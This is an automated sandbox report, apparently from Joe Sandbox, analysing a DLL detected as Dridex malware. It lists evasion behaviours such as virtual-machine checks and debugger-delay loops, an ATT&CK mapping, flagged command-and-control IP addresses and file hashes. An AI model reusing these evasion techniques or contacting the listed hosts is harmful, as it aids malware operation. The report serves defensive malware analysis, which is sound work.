                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb, source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: sfc.pdbf source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC3F6A8 push esi; mov dword ptr [esp], 00000000h0_2_6EC3F6A9
                  Source: initial sampleStatic PE information: section where entry point is pointing to: .rdata
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion:

                  barindex
                  Tries to delay execution (extensive OutputDebugStringW loop)Show sources
                  Source: C:\Windows\System32\loaddll32.exeSection loaded: OutputDebugStringW count: 1663
                  Source: C:\Windows\System32\loaddll32.exeWindow / User API: threadDelayed 1663Jump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC40730 GetTokenInformation,GetSystemInfo,GetTokenInformation,0_2_6EC40730
                  Source: Amcache.hve.7.drBinary or memory string: VMware
                  Source: Amcache.hve.7.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual USB Mouse
                  Source: Amcache.hve.7.drBinary or memory string: VMware, Inc.
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual disk SCSI Disk Devicehbin
                  Source: Amcache.hve.7.drBinary or memory string: Microsoft Hyper-V Generation Counter
                  Source: Amcache.hve.7.drBinary or memory string: VMware7,1
                  Source: Amcache.hve.7.drBinary or memory string: NECVMWar VMware SATA CD00
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual disk SCSI Disk Device
                  Source: Amcache.hve.7.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
                  Source: WerFault.exe, 00000007.00000002.321017706.0000000004A70000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.319269722.0000000004AB2000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000002.321082427.0000000004AB2000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
                  Source: Amcache.hve.7.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
                  Source: Amcache.hve.7.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
                  Source: Amcache.hve.7.drBinary or memory string: VMware, Inc.me
                  Source: Amcache.hve.7.drBinary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
                  Source: Amcache.hve.7.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC36D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6EC36D0C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC43138 RtlAddVectoredExceptionHandler,0_2_6EC43138
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1Jump to behavior
                  Source: loaddll32.exe, 00000000.00000002.818868274.00000000014D0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.297621027.0000000002B60000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300203284.0000000002B60000.00000002.00020000.sdmpBinary or memory string: Program Manager
                  Source: loaddll32.exe, 00000000.00000002.818868274.00000000014D0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.297621027.0000000002B60000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300203284.0000000002B60000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
                  Source: loaddll32.exe, 00000000.00000002.818868274.00000000014D0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.297621027.0000000002B60000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300203284.0000000002B60000.00000002.00020000.sdmpBinary or memory string: Progman
                  Source: loaddll32.exe, 00000000.00000002.818868274.00000000014D0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.297621027.0000000002B60000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300203284.0000000002B60000.00000002.00020000.sdmpBinary or memory string: Progmanlock
                  Source: C:\Windows\System32\loaddll32.exeCode function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6EC36D0C
                  Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC36D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6EC36D0C
                  Source: Amcache.hve.7.dr, Amcache.hve.LOG1.7.drBinary or memory string: c:\users\user\desktop\procexp.exe
                  Source: Amcache.hve.7.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
                  Source: Amcache.hve.7.dr, Amcache.hve.LOG1.7.drBinary or memory string: procexp.exe

                  Mitre Att&ck Matrix

                  Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                  Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection12Virtualization/Sandbox Evasion11OS Credential DumpingSecurity Software Discovery31Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                  Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsProcess Injection12LSASS MemoryVirtualization/Sandbox Evasion11Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                  Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                  Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Rundll321NTDSApplication Window Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                  Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsAccount Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                  Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsSystem Owner/User Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                  External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncRemote System Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                  Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Information Discovery13Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 544184 Sample: SecuriteInfo.com.W32.AIDete... Startdate: 22/12/2021 Architecture: WINDOWS Score: 76 18 185.4.135.27 TOPHOSTGR Greece 2->18 20 85.10.248.28 HETZNER-ASDE Germany 2->20 22 2 other IPs or domains 2->22 24 Found malware configuration 2->24 26 Multi AV Scanner detection for submitted file 2->26 28 Yara detected Dridex unpacked file 2->28 30 2 other signatures 2->30 9 loaddll32.exe 1 2->9         started        signatures3 process4 signatures5 32 Tries to delay execution (extensive OutputDebugStringW loop) 9->32 12 cmd.exe 1 9->12         started        process6 process7 14 rundll32.exe 12->14         started        process8 16 WerFault.exe 23 9 14->16         started       

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dll21%VirustotalBrowse
                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dll30%ReversingLabsWin32.Worm.Cridex

                  Dropped Files

                  No Antivirus matches

                  Unpacked PE Files

                  SourceDetectionScannerLabelLinkDownload
                  3.0.rundll32.exe.230000.3.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  3.0.rundll32.exe.230000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  3.0.rundll32.exe.6ec30000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  0.2.loaddll32.exe.af0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  0.2.loaddll32.exe.6ec30000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  3.2.rundll32.exe.6ec30000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  3.2.rundll32.exe.230000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  3.0.rundll32.exe.6ec30000.5.unpack100%AviraHEUR/AGEN.1144420Download File

                  Domains

                  No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://www.n4pkg6fy8o.gaDVarFileInfo$0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  No contacted domains info

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://upx.sf.netAmcache.hve.7.drfalse
                    high
                    http://www.n4pkg6fy8o.gaDVarFileInfo$loaddll32.exe, 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300427683.000000006EC4F000.00000002.00020000.sdmpfalse
                    • Avira URL Cloud: safe
                    low

                    Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public

                    IPDomainCountryFlagASNASN NameMalicious
                    185.4.135.27
                    unknownGreece
                    199246TOPHOSTGRtrue
                    85.10.248.28
                    unknownGermany
                    24940HETZNER-ASDEtrue
                    80.211.3.13
                    unknownItaly
                    31034ARUBA-ASNITtrue
                    144.91.122.102
                    unknownGermany
                    51167CONTABODEtrue

                    General Information

                    Joe Sandbox Version:34.0.0 Boulder Opal
                    Analysis ID:544184
                    Start date:22.12.2021
                    Start time:20:09:32
                    Joe Sandbox Product:CloudBasic
                    Overall analysis duration:0h 8m 12s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Sample file name:SecuriteInfo.com.W32.AIDetect.malware1.23460.908 (renamed file extension from 908 to dll)
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                    Number of analysed new started processes analysed:24
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • HDC enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Detection:MAL
                    Classification:mal76.troj.evad.winDLL@6/6@0/4
                    EGA Information:Failed
                    HDC Information:
                    • Successful, ratio: 53.8% (good quality ratio 51.4%)
                    • Quality average: 78.7%
                    • Quality standard deviation: 27.6%
                    HCA Information:Failed
                    Cookbook Comments:
                    • Adjust boot time
                    • Enable AMSI
                    • Override analysis time to 240s for rundll32
                    Warnings:
                    Show All
                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                    • Excluded IPs from analysis (whitelisted): 23.54.113.53, 13.89.179.12
                    • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, login.live.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, arc.msn.com
                    • Not all processes where analyzed, report is missing behavior information

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    20:10:42API Interceptor1x Sleep call for process: WerFault.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    185.4.135.27Positive_Result_75184731.xlsGet hashmaliciousBrowse
                      SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                        SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                          SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                              SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                  SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                      SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                        SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                          SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                            SecuriteInfo.com.W32.AIDetect.malware1.31779.dllGet hashmaliciousBrowse
                                              SecuriteInfo.com.W32.AIDetect.malware1.20482.dllGet hashmaliciousBrowse
                                                SecuriteInfo.com.W32.AIDetect.malware1.24851.dllGet hashmaliciousBrowse
                                                  SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.18811.dllGet hashmaliciousBrowse
                                                    SecuriteInfo.com.W32.AIDetect.malware1.22486.dllGet hashmaliciousBrowse
                                                      SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                        SecuriteInfo.com.W32.AIDetect.malware1.4497.dllGet hashmaliciousBrowse
                                                          SecuriteInfo.com.W32.AIDetect.malware2.6935.dllGet hashmaliciousBrowse
                                                            85.10.248.28Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                              SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                  SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                      SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                        SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                          SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                              SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                                SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                                  SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.31779.dllGet hashmaliciousBrowse
                                                                                      SecuriteInfo.com.W32.AIDetect.malware1.20482.dllGet hashmaliciousBrowse
                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.24851.dllGet hashmaliciousBrowse
                                                                                          SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.18811.dllGet hashmaliciousBrowse
                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.22486.dllGet hashmaliciousBrowse
                                                                                              SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                                SecuriteInfo.com.W32.AIDetect.malware1.4497.dllGet hashmaliciousBrowse
                                                                                                  SecuriteInfo.com.W32.AIDetect.malware2.6935.dllGet hashmaliciousBrowse

                                                                                                    Domains

                                                                                                    No context

                                                                                                    ASN

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                    TOPHOSTGRPositive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.31779.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.20482.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.24851.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.18811.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.22486.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.4497.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware2.6935.dllGet hashmaliciousBrowse
                                                                                                    • 185.4.135.27
                                                                                                    HETZNER-ASDEPositive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    tTy0oHh7FM.exeGet hashmaliciousBrowse
                                                                                                    • 148.251.234.83
                                                                                                    ykTwsaBnqa.exeGet hashmaliciousBrowse
                                                                                                    • 144.76.84.177
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26189.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.26363.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.16860.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.25234.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.31779.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.20482.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.24851.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.18811.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.22486.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28
                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.26959.dllGet hashmaliciousBrowse
                                                                                                    • 85.10.248.28

                                                                                                    JA3 Fingerprints

                                                                                                    No context

                                                                                                    Dropped Files

                                                                                                    No context

                                                                                                    Created / dropped Files

                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_435bf9987f6a7ee95ec1aabecf98fbf5b0b7b2_82810a17_131cfb8a\Report.wer
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):65536
                                                                                                    Entropy (8bit):0.9219508196362544
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:192:3EZiT0oXy5/HBUZMX4jed+yf/u7sYS274ItWc:GiNXy5/BUZMX4je3f/u7sYX4ItWc
                                                                                                    MD5:D9FB776CB5A4EF1F641889E6E9193B1B
                                                                                                    SHA1:C9C86D8EFB07E52133951F821B054C8C7BA3FA78
                                                                                                    SHA-256:AD8A021C47C521CA5F0437F2197D7A0BF831319A24A380FD6A8DE275C6199D5D
                                                                                                    SHA-512:5EC1929C8E8D86B888C60694C8AFE1070848DC2B7B0CDE0265A008059BB027954E5386BCB5C62C424E35C8D5BAB331AF4C202D2F041B3141028F142AF485C636
                                                                                                    Malicious:false
                                                                                                    Reputation:low
